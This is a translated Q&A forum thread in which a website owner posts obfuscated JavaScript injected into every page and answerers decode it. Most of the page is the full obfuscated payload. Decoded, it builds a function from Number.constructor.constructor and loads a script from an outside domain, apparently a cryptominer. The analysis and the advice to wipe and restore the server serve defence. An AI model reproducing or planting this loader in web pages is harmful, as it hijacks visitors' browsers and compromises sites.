soap-rpc-encoded - 黑客、脚本、恶意、解码器？

Question

我在我网站的每个页面的开头都有这个......问题，如何解码它以知道它的作用？

这是代码：

<script>
$ = ~[];
$ = {
    ___: ++$,
    $$$$: (![] + "")[$],
    __$: ++$,
    $_$_: (![] + "")[$],
    _$_: ++$,
    $_$$: ({} + "")[$],
    $$_$: ($[$] + "")[$],
    _$$: ++$,
    $$$_: (!"" + "")[$],
    $__: ++$,
    $_$: ++$,
    $$__: ({} + "")[$],
    $$_: ++$,
    $$$: ++$,
    $___: ++$,
    $__$: ++$
};
$.$_ = ($.$_ = $ + "")[$.$_$] + ($._$ = $.$_[$.__$]) + ($.$$ = ($.$ + "")[$.__$]) + ((!$) + "")[$._$$] + ($.__ = $.$_[$.$$_]) + ($.$ = (!"" + "")[$.__$]) + ($._ = (!"" + "")[$._$_]) + $.$_[$.$_$] + $.__ + $._$ + $.$;
$.$$ = $.$ + (!"" + "")[$._$$] + $.__ + $._ + $.$ + $.$$;
$.$ = ($.___)[$.$_][$.$_];
$.$($.$($.$$ + "\"" + "\\" + $.__$ + $.$$_ + $.$$_ + $.$_$_ + "\\" + $.__$ + $.$$_ + $._$_ + "\\" + $.$__ + $.___ + $.$$$_ + (![] + "")[$._$_] + "\\" + $.$__ + $.___ + "=\\" + $.$__ + $.___ + $.$$_$ + $._$ + $.$$__ + $._ + "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_ + "\\" + $.__$ + $.$_$ + $.$$_ + $.__ + "." + $.$$__ + "\\" + $.__$ + $.$$_ + $._$_ + $.$$$_ + $.$_$_ + $.__ + $.$$$_ + "\\" + $.__$ + $.___ + $.$_$ + (![] + "")[$._$_] + $.$$$_ + "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_ + "\\" + $.__$ + $.$_$ + $.$$_ + $.__ + "('\\" + $.__$ + $.$$_ + $._$$ + $.$$__ + "\\" + $.__$ + $.$$_ + $._$_ + "\\" + $.__$ + $.$_$ + $.__$ + "\\" + $.__$ + $.$$_ + $.___ + $.__ + "');" + $.$$$_ + (![] + "")[$._$_] + ".\\" + $.__$ + $.$$_ + $._$$ + "\\" + $.__$ + $.$$_ + $._$_ + $.$$__ + "='\\" + $.__$ + $.$_$ + $.___ + $.__ + $.__ + "\\" + $.__$ + $.$$_ + $.___ + "\\" + $.__$ + $.$$_ + $._$$ + "://\\" + $.__$ + $.$$_ + $.$$$ + $.$$$_ + $.$_$$ + "." + $.$$__ + (![] + "")[$._$_] + $._$ + $.$$_$ + ".\\" + $.__$ + $.$$_ + $.___ + "\\" + $.__$ + $.$$_ + $.$$$ + "/\\" + $.__$ + $.$_$ + $._$_ + "\\" + $.__$ + $.$$_ + $._$$ + "/\\" + $.__$ + $._$$ + $.__$ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.__$ + $.___ + "\\" + $.__$ + $.__$ + $.___ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $.___ + $.$__ + "\\" + $.__$ + $._$$ + $.__$ + "\\" + $.__$ + $.$$_ + $.$$$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $.$__ + $.$$$ + (![] + "")[$._$_] + "\\" + $.__$ + $.___ + $.$__ + "\\" + $.__$ + $._$$ + $.___ + "\\" + $.__$ + $.$__ + $.$$$ + $.___ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $._$_ + $._$$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $._$_ + $.$$$ + "\\" + $.__$ + $.$$$ + $.__$ + "\\" + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $.___ + $.$__ + "\\" + $.__$ + $._$_ + $.__$ + $.$_$ + $.$$_$ + "\\" + $.__$ + $.$$$ + $.___ + "\\" + $.__$ + $.___ + $.$$$ + "\\" + $.__$ + $.___ + $._$$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $._$_ + $.$__ + "\\" + $.__$ + $.__$ + $.$$_ + "\\" + $.__$ + $._$_ + $.$__ + $.$___ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $.___ + $.$__ + "\\" + $.__$ + $.___ + $.$$$ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $._$_ + $.$__ + $.___ + "\\" + $.__$ + $.$$$ + $._$_ + "\\" + $.__$ + $._$_ + $.___ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $.$_$ + $._$_ + "\\" + $.__$ + $.___ + $._$$ + $.__ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $._$_ + "\\" + $.__$ + $.___ + $.$_$ + $._$_ + "\\" + $.__$ + $.__$ + $.$$_ + "\\" + $.__$ + $.$$$ + $._$_ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $.__$ + $._$_ + "\\" + $.__$ + $._$_ + $._$$ + "\\" + $.__$ + $.__$ + $.__$ + "\\" + $.__$ + $._$_ + $.___ + "\\" + $.__$ + $._$_ + $.__$ + $.___ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $.__$ + $._$_ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $._$_ + $.$__ + "\\" + $.__$ + $.__$ + $._$$ + "_\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $.__$ + $._$_ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $.$$$ + $.___ + "\\" + $.__$ + $.__$ + $.__$ + "\\" + $.__$ + $.___ + $.$$$ + "\\" + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $.$_$ + $._$$ + "\\" + $.__$ + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.___ + $._$$ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $.___ + $.$__ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $._$$ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $.__$ + $.__$ + "\\" + $.__$ + $.$_$ + $.___ + "\\" + $.__$ + $._$_ + $.___ + "\\" + $.__$ + $._$_ + $.___ + $.$$__ + "\\" + $.__$ + $._$_ + $._$_ + "\\" + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $.$$_ + $.__$ + "\\" + $.__$ + $._$$ + $.__$ + "\\" + $.__$ + $._$_ + $._$_ + "\\" + $.__$ + $.___ + $.$$_ + "\\" + $.__$ + $.___ + $.$_$ + $.$$_$ + "\\" + $.__$ + $._$_ + $._$_ + "\\" + $.__$ + $._$_ + $.__$ + $.$$__ + "\\" + $.__$ + $.$$_ + $._$$ + "\\" + $.__$ + $._$_ + $.$_$ + "\\" + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $.$_$ + $._$$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $._$_ + "\\" + $.__$ + $.__$ + $._$_ + "\\" + $.__$ + $._$$ + $.__$ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.$$$ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$$ + $.___ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $.___ + $._$_ + "\\" + $.__$ + $._$_ + $.___ + "\\" + $.__$ + $.__$ + $.$$_ + $.$$__ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.__$ + $.$__ + $.$_$_ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $.$$_ + "\\" + $.__$ + $.$_$ + $.$_$ + $.$__ + "\\" + $.__$ + $.___ + $._$$ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.___ + $._$$ + "\\" + $.__$ + $._$$ + $._$_ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$_ + $.$$_ + $.$$_$ + "\\" + $.__$ + $.___ + $.$_$ + "\\" + $.__$ + $.__$ + $.$_$ + "\\" + $.__$ + $.___ + $.$$$ + "\\" + $.__$ + $._$$ + $.__$ + "\\" + $.__$ + $.___ + $.__$ + "\\" + $.__$ + $._$$ + $.___ + "\\" + $.__$ + $._$_ + $.__$ + "\\" + $.__$ + $.$$$ + $.___ + "\\" + $.__$ + $.$$_ + $.$$$ + $.$_$_ + ".\\" + $.__$ + $.$_$ + $._$_ + "\\" + $.__$ + $.$$_ + $._$$ + "?" + $.__ + "\\" + $.__$ + $.$$_ + $._$_ + (![] + "")[$._$_] + "=" + $.___ + "." + $._$$ + $.___ + "';" + $.$$_$ + $._$ + $.$$__ + $._ + "\\" + $.__$ + $.$_$ + $.$_$ + $.$$$_ + "\\" + $.__$ + $.$_$ + $.$$_ + $.__ + ".\\" + $.__$ + $.$_$ + $.___ + $.$$$_ + $.$_$_ + $.$$_$ + "." + $.$_$_ + "\\" + $.__$ + $.$$_ + $.___ + "\\" + $.__$ + $.$$_ + $.___ + $.$$$_ + "\\" + $.__$ + $.$_$ + $.$$_ + $.$$_$ + "\\" + $.__$ + $.___ + $._$$ + "\\" + $.__$ + $.$_$ + $.___ + "\\" + $.__$ + $.$_$ + $.__$ + (![] + "")[$._$_] + $.$$_$ + "(" + $.$$$_ + (![] + "")[$._$_] + ");" + "\"")())();
</script>

Answer 1

我能够对大部分内容进行去混淆处理。最后一点将创建一个函数，该函数将创建一个脚本标记，将其插入到您的 DOM 中，然后将其设置src为以下 url：

https://web.clod.pw/js/YQHHAAUDYwBFglDXg0VSBVWyEDQ5dxGCBTNT8UDGUBBT0zPFUjCtARE2NzAVJSIPQ0FJABFUVTK_AABJVxIGEkH5QCFDBASVIhPPcREqYRFEdRQcsUEkARJYQyAXVBPNcQLaQAVm4CQCZAAVdEMGYAXQxwa.js?trl=0.30

加载接缝以尝试加载加密矿工的脚本，因为WebMiner其源代码中的一些关键内容是：和runMiner()。

只要说。。。就够了：

1. 关闭你的服务器
2. 擦除你的服务器
3. 并从备份中恢复

---

这看起来真的很邪恶。它被混淆了，第一位只是用来创建一些可以使用的关键字。最后一行是重要的一点，我相信它正在尝试创建一个Function将返回一些从全局中提取的 unicode 字符串。到目前为止，这是我去混淆的内容：

$ = ~[];                    // -1

$ = {
    ___: ++$,               // 0
    $$$$: (![] + "")[$],    // 'f'
    __$: ++$,               // 1
    $_$_: (![] + "")[$],    // 'a'
    _$_: ++$,               // 2
    $_$$: ({} + "")[$],     // 'b'
    $$_$: ($[$] + "")[$],   // 'd'
    _$$: ++$,               // 3
    $$$_: (!"" + "")[$],    // 'e'
    $__: ++$,               // 4
    $_$: ++$,               // 5
    $$__: ({} + "")[$],     // 'c'
    $$_: ++$,               // 6
    $$$: ++$,               // 7
    $___: ++$,              // 8
    $__$: ++$               // 9
};

$.$_ =                              // 'constructor'
    ($.$_ = $ + "")[$.$_$] +        // 'c'
    ($._$ = $.$_[$.__$]) +          // 'o'
    ($.$$ = ($.$ + "")[$.__$]) +    // 'n'
    ((!$) + "")[$._$$] +            // 's'
    ($.__ = $.$_[$.$$_]) +          // 't'
    ($.$ = (!"" + "")[$.__$]) +     // 'r'
    ($._ = (!"" + "")[$._$_]) +     // 'u'
    $.$_[$.$_$] +                   // 'c'
    $.__ +                          // 't'
    $._$ +                          // 'o'
    $.$;                            // 'r'

$.$$ =                      // 'return'
    $.$ +                   // 'r'
    (!"" + "")[$._$$] +     // 'e'
    $.__ +                  // 't'
    $._ +                   // 'u'
    $.$ +                   // 'r'
    $.$$;                   // 'n'

$.$ = ($.___)[$.$_][$.$_]; // (Number).constructor.constructor

// This is where the actual function is created and called to download another script off of another domain.
$.$(
    $.$(
        // A whole lot of unicode shenanigans
    )()
)();